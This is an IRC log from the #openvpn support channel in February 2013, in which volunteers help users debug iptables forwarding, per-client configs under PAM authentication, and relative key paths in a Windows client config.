23:22 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Ping timeout: 240 seconds]
23:23 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
23:47 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 245 seconds]
23:57 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
--- Day changed Sun Feb 10 2013
00:27 -!- yavor [~yavor@78.128.23.17] has joined #openvpn
00:36 -!- yavor [~yavor@78.128.23.17] has quit [Ping timeout: 248 seconds]
01:41 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- The professional IRC Client :D]
01:41 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
01:45 -!- yavor [~yavor@78.128.23.17] has joined #openvpn
01:48 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn
01:52 -!- yavor [~yavor@78.128.23.17] has quit [Ping timeout: 248 seconds]
02:16 -!- tyteen4a03 [~T4@n218250226180.netvigator.com] has quit [Read error: Connection reset by peer]
02:16 -!- yavor [~yavor@78.128.23.17] has joined #openvpn
02:17 -!- tyteen4a03 [T4@n218250226180.netvigator.com] has joined #openvpn
02:56 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
02:56 -!- Devastator [~devas@unaffiliated/devastator] has left #openvpn []
02:56 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
03:10 -!- yavor [~yavor@78.128.23.17] has quit [Ping timeout: 248 seconds]
03:21 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Quit: Konversation terminated!]
03:34 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
03:38 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
04:13 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:22 -!- xbanux [~xbanux@triband-mum-59.182.149.244.mtnl.net.in] has joined #openvpn
04:23 -!- catsup [~d@64.111.123.163] has quit [Remote host closed the connection]
04:27 -!- xbanux [~xbanux@triband-mum-59.182.149.244.mtnl.net.in] has quit []
04:27 -!- xbanux [~xbanux@triband-mum-59.182.149.244.mtnl.net.in] has joined #openvpn
04:32 -!- xbanux [~xbanux@triband-mum-59.182.149.244.mtnl.net.in] has quit [Ping timeout: 256 seconds]
04:38 -!- hid3 [~arnoldas@78.157.71.116] has left #openvpn []
04:41 -!- Devastator [~devas@unaffiliated/devastator] has quit []
04:48 -!- xbanux [~xbanux@triband-mum-59.182.149.244.mtnl.net.in] has joined #openvpn
05:01 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
05:16 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
05:19 -!- ade_b [~Ade@koln-5d817611.pool.mediaWays.net] has joined #openvpn
05:19 -!- ade_b [~Ade@koln-5d817611.pool.mediaWays.net] has quit [Changing host]
05:19 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:23 -!- simplechat [~simplecha@ppp121-44-207-224.lns20.syd7.internode.on.net] has joined #openvpn
05:23 -!- simplechat [~simplecha@ppp121-44-207-224.lns20.syd7.internode.on.net] has quit [Changing host]
05:23 -!- simplechat [~simplecha@unaffiliated/simplechat] has joined #openvpn
05:43 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
05:44 -!- simplechat [~simplecha@unaffiliated/simplechat] has quit [Read error: Connection reset by peer]
05:47 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
05:53 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
05:54 -!- xbanux [~xbanux@triband-mum-59.182.149.244.mtnl.net.in] has quit [Ping timeout: 272 seconds]
06:25 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 252 seconds]
06:30 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
06:30 -!- mode/#openvpn [+v s7r] by ChanServ
06:33 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
06:48 -!- yuri__ [~cek@78.26.128.206] has joined #openvpn
06:57 -!- yuri__ [~cek@78.26.128.206] has quit [Ping timeout: 256 seconds]
07:02 -!- tyteen4a03 [T4@n218250226180.netvigator.com] has quit [Read error: Connection reset by peer]
07:02 -!- tyteen4a03 [~T4@n218250226180.netvigator.com] has joined #openvpn
07:03 -!- tyteen4a03 [~T4@n218250226180.netvigator.com] has quit [Read error: Connection reset by peer]
07:03 -!- master_of_master [~master_of@p57B5480E.dip.t-dialin.net] has quit [Ping timeout: 246 seconds]
07:04 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 244 seconds]
07:05 -!- master_of_master [~master_of@p57B547BB.dip.t-dialin.net] has joined #openvpn
07:05 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
07:10 -!- yuri__ [~cek@crius.pantheon.fused.net] has joined #openvpn
07:14 -!- kunago [~Thunderbi@201.239.broadband12.iol.cz] has joined #openvpn
07:16 < kunago> Hello guys. I need to consult some iptables guru who could give me a hint why I am unable to ping clients connected directly to my VPN while I am able to ping clients on other subnets. This picture might give an idea of what I am trying to do: http://s.kunago.com/2013-02-10_14-14-21.jpg
07:18 < kunago> I am not using "client-to-client" and am trying to fine tune the access for each client manually. I was able to propapage clients for clients on all subnets, this works fine with the FORWARD table of iptables but not with the VPN IP range. There I am unable to reach each client.
07:20 < kunago> iptables rules such as "iptables -A FORWARD -s 192.168.10.0/24 -d 192.168.10.0/24 -j ACCEPT" do not seem to make any difference.
07:20 -!- tyteen4a03 [T4@n218250226180.netvigator.com] has joined #openvpn
07:21 -!- Orbi [~opera@109.129.3.216] has joined #openvpn
07:25 -!- Orbi [~opera@109.129.3.216] has quit [Read error: Connection reset by peer]
07:31 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
07:31 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Quit: Leaving]
07:47 -!- JackWinter [~jack@vodsl-4655.vo.lu] has quit [Quit: ZNC - http://znc.in]
07:49 -!- JackWinter [~jack@vodsl-4655.vo.lu] has joined #openvpn
07:58 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
07:59 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
08:07 -!- JackWinter [~jack@vodsl-4655.vo.lu] has left #openvpn ["Konversation terminated!"]
08:08 -!- [Xaronic] [~Xaronic]@occupyuk.co.uk] has quit [Ping timeout: 248 seconds]
08:09 -!- JackWinter [~jack@vodsl-4655.vo.lu] has joined #openvpn
08:10 -!- [Xaronic] [~Xaronic]@occupyuk.co.uk] has joined #openvpn
08:12 -!- `nand` [~nand@static.102.126.46.78.clients.your-server.de] has quit [Read error: Operation timed out]
08:16 -!- `nand` [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
08:19 -!- yuri__ [~cek@crius.pantheon.fused.net] has quit [Ping timeout: 256 seconds]
08:34 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
08:51 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
08:52 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
08:57 -!- LordDoskias [~chichiman@unaffiliated/lorddoskias] has joined #openvpn
08:57 < LordDoskias> hello, i have an openvpn set up to use PAM auth via username/password  i was wondering whether openvpn supports per-client configuration when used in that mode? I know it supports it if i use client certificates but does it do it when used with PAM
08:58 < EugeneKay> --username-as-common-name should do what you want
09:02 -!- Ahti333 [~Ahti333@cronosx.de] has joined #openvpn
09:03 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
09:03 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
09:09 < LordDoskias> so i did what you recommended and here is my server.conf http://pastie.org/private/uzmnfhl5fij7kxfzr4cp2a
09:09 < LordDoskias> i created a 'ccd' dir under /etc/openvpn and in it created a file called 'goon' becuaase the user that is going to auth is called 'goon', but now my openvpn server doesn't want to start
09:10 < LordDoskias> this is my version of openvpn: Version: 2.2.1-3~bpo60+1
09:11 < rob0> are the logs in that paste?
09:11 < LordDoskias> nope i cannot seem to get the logs
09:12 < LordDoskias> because it is failing on start up
09:12 < rob0> I guess you should address that issue first.
09:12 < LordDoskias> how?
09:13 < LordDoskias> when i run openvpn --daemon --config server.conf nothing gets printedon the screen
09:14 < rob0> do you know what --daemon does?
09:14 < LordDoskias> runs it in background as a service
09:14 < rob0> ... and sends logs to ...
09:14 < LordDoskias> but even without it still doesn't print anything on the screen
09:18 < LordDoskias> where does it print its errors?
09:18 < LordDoskias> or any output for that matter
09:19 -!- b1rkh0ff [~b1rkh0ff@178.77.24.133] has joined #openvpn
09:19 < LordDoskias> during start up that is, because it is not in the file set in the server.conf
09:21 < LordDoskias> okay, found it :)
09:22 < LordDoskias> it says it is because auth-user-pass-verify is missing but i'm using the pam module
09:25 -!- xbanux [~xbanux@59.182.148.220] has joined #openvpn
09:26 < LordDoskias> isn't it a bit idiosincratic that username-as-common-name requires auth-user-pass-verify? shouldn't authenticating via pam module be supported as well?
09:27 -!- tyteen4a03 [T4@n218250226180.netvigator.com] has quit [Quit: Leaving]
09:27 < EugeneKay> Typically the verify script handles figuring out PAM or w/e
09:38 -!- tyteen4a03 [T4@n218250226180.netvigator.com] has joined #openvpn
09:39 -!- catsup [~d@64.111.123.163] has joined #openvpn
09:39 -!- `nand` [~nand@2a01:4f8:d13:5245::2] has quit [Remote host closed the connection]
09:44 -!- xbanux [~xbanux@59.182.148.220] has quit [Ping timeout: 245 seconds]
09:46 < LordDoskias> if i have     plugin /usr/lib/openvpn/openvpn-auth-pam.so login shouldn't username-as-common-name work as well
09:46 < LordDoskias> in this case openvpn starts and clients connect but the client-specific configuration is not executed
09:53 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 240 seconds]
09:55 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
09:57 -!- corretico [~luis@190.211.93.38] has joined #openvpn
09:57 -!- corretico [~luis@190.211.93.38] has quit [Remote host closed the connection]
09:57 -!- corretico [~luis@190.211.93.38] has joined #openvpn
09:59 -!- kunago [~Thunderbi@201.239.broadband12.iol.cz] has quit [Remote host closed the connection]
10:09 -!- `nand` [~nand@static.102.126.46.78.clients.your-server.de] has joined #openvpn
10:25 -!- xbanux [~xbanux@triband-mum-59.182.148.220.mtnl.net.in] has joined #openvpn
10:27 -!- roue [~roue@96-42-92-237.dhcp.roch.mn.charter.com] has quit [Quit: leaving]
10:41 < LordDoskias> so i set up the authentication to work with the provided perl script, however, my client specific settings aren't pushed
10:53 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
10:53 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
11:03 < LordDoskias> so here is my server.log ccd/goon and log of when the client has connected: http://pastie.org/private/vvwlxw87cxfp9jvhjwwq
11:03 < LordDoskias> unfortunately it is not receiving the client-specific information specified in the file
11:03 < LordDoskias> the perms of the goon file is 755 so it can be read after openvpn drops root
11:10 -!- yavor [~yavor@78.128.23.17] has joined #openvpn
11:44 < pekster> LordDoskias: You may be able to get the same effect using a --client-connect script instead, and using the $username env-var
11:44 < pekster> See the section in the manpage called "SCRIPTING AND ENVIRONMENTAL VARIABLES"
11:45 < pekster> I don't know if that works, but it's worth exploring. You can also use 'set > /tmp/vars.dump' in a client-connect script to see what the envnironment does have for you to play with
11:49 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 245 seconds]
11:51 < LordDoskias> i fixed it
11:51 < LordDoskias> it rusn out that the path to the ccd dir has to be full and not relative
11:51 < pekster> Ah, k
11:52 < pekster> Running at 'verb 4' usually provides helpful clues like that
12:02 -!- emmanuelux [~emmanuelu@94.23.150.162] has joined #openvpn
12:37 -!- xbanux [~xbanux@triband-mum-59.182.148.220.mtnl.net.in] has quit [Ping timeout: 248 seconds]
12:39 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Ping timeout: 276 seconds]
12:41 -!- LordDoskias [~chichiman@unaffiliated/lorddoskias] has left #openvpn ["Leaving"]
12:43 -!- brute11k [~brute11k@89.249.235.89] has quit [Read error: Connection reset by peer]
12:46 -!- brute11k [~brute11k@89.249.235.89] has joined #openvpn
13:20 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
13:22 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:23 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 248 seconds]
13:25 < lickalott> all, i've generated all my keys but haven't been successful in getting the OpenVpn started.  i've tried a different approach as a troubleshooting step but it's asking for a static key and i'm not sure which one to use.
13:27 < rob0> !goal
13:27 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
13:37 -!- bighornram [~bighornra@c-68-35-157-179.hsd1.nm.comcast.net] has joined #openvpn
13:41 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
13:41 -!- yuri__ [~cek@crius.pantheon.fused.net] has joined #openvpn
13:45 < lickalott> I would like to setup OpenVpn server on my tomato flashed router, but the configuration tut's that I'm following don't seem to work.  I have been already told that I should ask in the tomato chan but they are worthless and non-responsive.  I have been assisted here in the past but i was traveling down another path at that time.  in an attempt to get this thing working I tried to follow another
13:45 < lickalott> tut that says set server > basic > authorization mode to static key, but I don't know which of my keys i need to throw in that box.
13:46 < rob0> A static key VPN is a peer-to-peer connection, no server nor client, just two peers only. Is that what you want?
13:47 < pekster> Didn't you have your server starting without errors yesterday? If you had problems at that point, looking that the logs on both sides should have been the next step if you were having problems
13:47 < rob0> "!goal" means just that, *clearly* state what you are trying to do here.
13:48 < lickalott> honestly I don't know.  This whole thing escapes me...  I have an ubuntu server running the -AS (which I was told isn't supported either) and that works fine.  I'm just trying to set it up through the router.
13:48 < rob0> pekster seems to have some of the background here. so might better be able to help.
13:48 -!- bighornram [~bighornra@c-68-35-157-179.hsd1.nm.comcast.net] has quit [Ping timeout: 256 seconds]
13:48 < rob0> !as
13:48 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
13:49 < rob0> We do not use Access-Server here.
13:49 < lickalott> yes pekster it showed started but there was no traffic and I couldn't connect to it.  i tried changing ports and messing with some other settings.
13:49 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
13:49 < pekster> Well, part of it. No idea exactly what tomato is doing under the hood since it hides all that behind web configs...
13:49 < lickalott> lickalott is ~lickalott@127.0.0.1.silentkiller.cc * Nun-ya
13:49 < lickalott> lickalott on #openvpn-as
13:50 < lickalott> the inteface seems to be pretty basic, i think it's just my lack of knowledge that's preventing it from working.
13:51 < pekster> As I believe I noted yesterday, the "basic" tomato interface then turns around and runs a bunch of fairly complicated shell code to "convert" the web settings stored on the router into a command to call openvpn. Here, we support openvpn, not the web config or shell scripts that make tomato go
13:51 < lickalott> lets say that I just jumped in and said "hey guys, whats the best setup/configuration of software and hardware to get openvpn working"  What would you say?  i.e. whats the ideal setup
13:51 < pekster> !howto
13:51 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:51 < pekster> ^that^
13:52 < lickalott> you did pekster, and I'm trying to stay away from the tomato portion and just focus on the openvpn stuff.
13:52 -!- module000 [~module000@254.sub-70-196-34.myvzw.com] has joined #openvpn
13:52 < pekster> Tomato should be able to run the 'openvpn' command without any tomato web config or initsscripts at all. Of course, it won't auto-start on boot unless you design your own startup code, but that's often good for learning too, if you want to really understand how it all works
13:53 < rob0> Alice: Would you tell me, please, which way I ought to go from here?
13:53 < rob0> The Cat: That depends a good deal on where you want to get to
13:53 < pekster> :)
13:53 < lickalott> lol
13:54 < lickalott> i would like to take the ubuntu server out of the picture, in regard to openvpn and run it strictly from the router. <-- thats #1.  #2 would be to have the server set up as the CA so i'm not generating keys on the router.  however, I will settle for #1 right now.
13:55 < pekster> easy-rsa is completely separate from openvpn; you can run easy-rsa on whatever system you want
13:55 < pekster> Just keep doing the key/PKI tasks on the server and send keys/certs to the router
13:55 < rob0> The proper way to run a CA is for clients to generate their own keys and CSRs, then the CA signs them.
13:55 < pekster> Yes, except with embedded hardware that has really awful entropy
13:56 < lickalott> and that's already accomplished.  I have all the crt and key files that I need.  I will be the only person using the vpn
13:56 < EugeneKay> Eh, if you can get the keys to the clients securely(SSH, say), it's "OK" to generate the client.key at the CA.
13:56 < lickalott> WTF!  I just hit start now to see if I could grab you guys some logs and it started.
13:56 < EugeneKay> But that's a philosophical difference.
13:57 < lickalott> only thing i changed was TAP vs TUN
13:57 < rob0> sure, it's "okay", but it's not proper. I don't want anyone else to have my keys.
13:58 < EugeneKay> That ends up depending upon how much separation of responsibiltiy you have :-p
13:59 < lickalott> pekster you said that the XML-RPC is a product of the AS right?
13:59 < rob0> So, one user of this VPN. Where will you be coming (connecting) from? Possibly a static key tunnel is good enough. And why tap? That's generally a bad idea.
14:00 < lickalott> mainly from work.  TAP; I was just following this (http://blog.johnso.org/2009/08/how-to-setup-openvpn-in-tomato.html) to try and get it to work.
14:00 <@vpnHelper> Title: Hacks and Slash: How to Setup Openvpn in Tomato (at blog.johnso.org)
14:00 < pekster> lickalott: That error you had before was with the "Access Server" GUI. I've never used it before, but enough text was shown behind your error message to confirm that. That client will *not* connect to the open-source OpenVPN system. It's a completely different method to connect, requring you to run the commercial code everywhere
14:00 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Ping timeout: 276 seconds]
14:01 < lickalott> installed this - openvpn-client (desktop).msi
14:01 < pekster> Nope, wrong thing
14:01 < pekster> !download
14:01 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
14:01 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
14:03 < rob0> Possibly your best bet is to focus on learning the quirks of your Tomato OS, and then you can use the regular OpenVPN howto and documentation.
14:03 < rob0> If you really do want to use AS, again, this is not the place for it.
14:04 < rob0> Decide which one you are going to try and go to only that channel.
14:04 < lickalott> idc if it's AS.  I just want to be able to access my stuff while at work.
14:05 < pekster> the .msi is AS; the GPL code does not provide an msi installer
14:05 < rob0> Answers you get here will be for GPL openvpn ("community version".) They might not be correct for AS, and vice versa.
14:05 < rob0> so do that first: choose.
14:06 < lickalott> my choice is; listening to pekster and rob0
14:06 < lickalott> ;D
14:06 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit []
14:07 < lickalott> here's the honest truth... i don't know enough about this (even after reading) to make an informed decision on a topic like that.
14:07 < lickalott> my !goal = get it to work preferrably from the router and staying with my current setup as a backup measure.
14:07 < lickalott> installing http://swupdate.openvpn.org/community/releases/openvpn-install-2.3.0-I001-x86_64.exe
14:08 < lickalott> i remember issues with this yesterday.  lemme run it up again and remember what the problem was.
14:08 < rob0> um, that looks like a Windows .exe
14:08 < lickalott> above all else, I appreciate you guys putting up with me.
14:08 < lickalott> yeah... i'm trying to get a suitable client GUI to test the connection.
14:09 < lickalott> is that not what I want?
14:09  * lickalott stops installing
14:09 < pekster> rob0: Ye,a that's the official installer
14:09 < pekster> lickalott: NO, that's completely correct
14:09 < pekster> s/O/o/
14:09 < lickalott> kk
14:10 -!- module000 [~module000@254.sub-70-196-34.myvzw.com] has left #openvpn []
14:11 < lickalott> either of you use usenet?
14:11 < pekster> That tomato-based guide you posted is, IMO, also full of as much fail as the first two you tried yesterday. You probably don't want tap, and you likely don't want a static keyed setup either since addressing has to be manually handled on the client
14:11 < lickalott> *may be able to trade goods for services....
14:12 < pekster> I'll 2nd rob0's suggestion of learning openvpn based on the howto, and then learning how tomato expects you to use openvpn after you understand the basics. You're trying to do 2 things at once that you've never done before, and it's not helping you do either of them well
14:13 < lickalott> k.  so focus on an entire setup (based off of the howto page) on the ubuntu rig first, then migrate over to the router once I've learned more?
14:13 < pekster> In fact, you can get your feet wet with openvpn on your existing server where you get a proper environment. Then, we you have the skills to set up a working openvpn server, port your config to tomato through its interface
14:13 < pekster> Yea, we basically just said the same thing :)
14:13 < lickalott> right...just clarifying
14:13 < lickalott> kk
14:14 < lickalott> i'll do that.
14:16 < lickalott> so, the usenet thing?  yay or nay?
14:21 < rob0> I have not been on Usenet in many years.
14:22 < pekster> usenet : early 90's :: dev&user maillists : now
14:22 < pekster> As far as I'm concerened
14:22 < pekster> I'll leave the rest for pioneers of web evolution to figure out
14:26 < lickalott> there is a mass DMCA push right now, but i've found a server that doesn't play by the rules as well as a good nzb site to pull from.  I was going to offer invites (when they hit) to you guys if you still/currently used it.
14:26 < lickalott> should've been a comma in there somewhere
14:26 < pekster> Not really on topic for here
14:26 < lickalott> btw: half way through the set up and there are already correlations being made...  +1 for tough love
14:26 < lickalott> rog (topic)
14:27 < lickalott> rog = roger that
14:29 -!- emmanuelux [~emmanuelu@94.23.150.162] has quit [Ping timeout: 256 seconds]
14:45 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
14:59 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Remote host closed the connection]
15:04 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
15:04 < hg_5> hello, what is wrong i have openvpnserver, when other router is connected to it, all is fine, but when i will connect to it from my pc, router load cpu is about 96% ;o
15:06 < pekster> If you're pushing traffic, it doesn't sound like anything is wrong. Encryption costs CPU time, and many routers have relatively weak CPUs
15:20 < lickalott> pekster i'm trying to configure the client gui (client.ovpn).  The keys on my server are owned by root and in a dir that isn't shared out by NFS or samba (and I think it needs to be that way).  Do i grab the keys i've generated for client1 over to my windows machine or do i have to generate keys locally?
15:22 < pekster> You can either transfer the keys over (just have root copy them somewhere that your normal user can acccess, chown them to the user, and use scp, NFS, Samba, or whatever to copy them
15:22 < lickalott> k
15:22 < pekster> Optionally you can generate keypairs on your client, send the CSR to the CA, have the CA sign it, and return the signed certificate to the client; that's a bit more complex
15:23 < pekster> (moreso because easy-rsa under Windows doesn't yet support keypair generation apart from the CA's PKI)
15:36 -!- amir_ [~amir@unaffiliated/amir] has joined #openvpn
15:47 -!- Burgundy [~burgundy@5-12-190-68.residential.rdsnet.ro] has quit [Remote host closed the connection]
15:50 < lickalott> still stuck.
15:50 < lickalott> http://pastebin.com/CAz4Kw1R
15:50 < lickalott> thats the response I get when I try to initiate the service (client) and the portion of my .ovpn where I've called out the keys.
15:57 < lickalott> pekster, rob0 you see anything amiss with that ^^
16:00 < pekster> Manpage has some hints for you just a couple pages down
16:04 < rob0> pekster, is it the need for double backslash?
16:07 < lickalott> added the [SPACE] and \\.  no change.
16:09 < pekster> So yours looks like thte sample in the now?
16:09 < pekster> Where it says: For example on Windows, use double backslashes to represent pathnames: secret "c:\\OpenVPN\\secret.key"
16:10 < lickalott> true
16:10 < pekster> Spaces need no special handling besides quoting the entire path
16:11 < lickalott> http://pastebin.com/pubTBD77
16:11 < lickalott> oh...
16:11 < lickalott> cleaned up spaces.   same
16:15 < pekster> And that means what exactly?
16:15 < lickalott> sry
16:16 < lickalott> took the [SPACE] out of all three entries and tried to initiate again.  Same error appears
16:16 < pekster> So you have a folder called "ProgramFiles" in addition to the standard "Program Files" ? That's strange...
16:17 < lickalott> now I'm confused....
16:17 < lickalott> [14:10] <pekster> Spaces need no special handling besides quoting the entire path
16:17 < lickalott> ca "C:\\Program Files\\OpenVPN\\bin\\ca.crt"
16:17 < lickalott> is that not correct?
16:17 < pekster> That is. You said something different a moment ago
16:18 < pekster> Is it in that folder? openvpn\bin\ is a non-standard spot for the files as they usually go in config\
16:18 < lickalott> i was referring to this -  \[SPACE] Pass a literal space or tab character, don't
16:18 < lickalott>                            interpret it as a parameter delimiter.
16:18 < pekster> Only if you don't quote things
16:18 < pekster> See:
16:18 < pekster> !sample
16:18 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
16:18 < lickalott> yes they are in that folder.
16:18 < pekster> Oh, no, not that link
16:20 < lickalott> let me ask this...  should the .ovpn file have an icon that links it to openvpn.exe?
16:20 < lickalott> right now it has no default program associated to it.
16:21 < lickalott> the reason I'm asking is; if I put the files into the config dir (which I did in the beginning) I have to type "openvpn.exe ../config/client.ovpn"
16:33 < pekster> The "icon" doesn't link anything, although that's besides the point. By default it'll open with notepad IIRC, although I thought newer versions had a context entry too
16:34 < lickalott> then i'm lost...  idk where to go from here.
16:34 < lickalott> would the entire file help if I pastebin'd it?
16:34 < lickalott> well..let me ask this way.  Would you be willing to peruse it if I posted it
16:35 < pekster> Remove comments and whitespace first please, and paste the error generated unless it is literally and completely identical to the one in your earlier output
16:36 < pekster> In fact, paste the error anyway, because it's citing a relative path in your last output
16:36 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
16:38 < lickalott> http://pastebin.com/SRThSDub
16:38 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
16:40 < lickalott> the only difference I see (based on the !sample link) is the user and group.  But that shouldn't matter for initialization right?
16:41 < pekster> Your path is still relative
16:41 < pekster> That's not what the error should produce for that config file
16:42 < pekster> An absolute path produces something like this in error: Options error: --ca fails with 'D:\Apps\OpenVPN\config\auth-client\badca.crt': No such file or directory
16:44 < lickalott> relative as in relative vs absolute or relative as in that could still be an issue?
16:45 < pekster> relative path. Compare the error messages and it should be obvious
16:45 < pekster> Either your config has another "cert" and "key" entry that you didn't include in your paste, or you're referencing the wrong config file
16:47 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Read error: Operation timed out]
16:48 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Operation timed out]
16:48 -!- yuri__ [~cek@crius.pantheon.fused.net] has quit [Ping timeout: 276 seconds]
16:49 < lickalott> pekster http://tinypic.com/r/3586zwm/6
16:49 <@vpnHelper> Title: Image - TinyPic - Free Image Hosting, Photo Sharing & Video Hosting (at tinypic.com)
16:49 < lickalott> shot of my dir
16:53 < lickalott> am I missing something obvious??
16:53 < pekster> Apparently. I've told you that your path is invalid based on the configuration you're referencing
16:55 < lickalott> i don't understand how though.  It's the absolute path to the files.  ALL of the files that i'm working with are in that directory (for now)
16:55 < pekster> Apparently not
16:55 < pekster> "Options error: --cert fails with 'client.crt': No such file or directory"
16:55 < pekster> Where it says 'client.crt' is not a valid path
16:55  * lickalott faceplams
16:56 < lickalott> i need to take a break... that was a stupid oversight on my part.
16:57  * lickalott knows pekster is nodding "yep"
16:59 -!- yuri__ [~cek@crius.pantheon.fused.net] has joined #openvpn
17:03 -!- yuri__ [~cek@crius.pantheon.fused.net] has quit [Ping timeout: 256 seconds]
17:26 -!- raidz_away [~raidz@raidz.im] has joined #openvpn
17:26 -!- raidz_away is now known as raidz
17:26 -!- raidz [~raidz@raidz.im] has quit [Changing host]
17:26 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
17:26 -!- mode/#openvpn [+o raidz] by ChanServ
17:29 -!- walp [~nobody@unaffiliated/walp] has quit [Quit: leaving]
17:33 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
17:33 -!- mode/#openvpn [+o mattock] by ChanServ
18:05 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 252 seconds]
18:12 -!- storrgie [~storrgie@c-98-224-170-69.hsd1.mi.comcast.net] has joined #openvpn
18:13 < storrgie> I'm looking at some router devices.. some have hardware accel for encryption and some dont. With OpenVPN is this a _necessary_ thing for both the clients and the server... or is it essential for just the server? I could run the server on a VM someplace on a Xeon and just have the clients be Mikrotik routers.
18:15 < pekster> "Necessary" is relative to what your expectations are. Without usable hardware crypto, the in-software openssl functions are used to perform the actual crypto; since openvpn is single-threaded at present, that defines an upper-bound on how fast you can process crypto operations
18:16 < storrgie> but, I think what you're saying is that both ends are going to have equal 'heavy lifting' in this process
18:17 < pekster> Per-clienet, yes. A server supporting multiple clients has to do crypto for all of the clients' traffic, naturally
18:17 < storrgie> have you had any experience with mikrotik devices?
18:17 < pekster> Nope. I have done openvpn on an Asus WL-500gPv2
18:18 < storrgie> I cant figure out what processor is in that
18:19 < storrgie> oh, broadcom 240mhz
18:19 < storrgie> so... did you notice any slowdown by running it on this device?
18:19 < pekster> Compared to what, a PC? Sure, but I don't need to push 100Mbps or anything
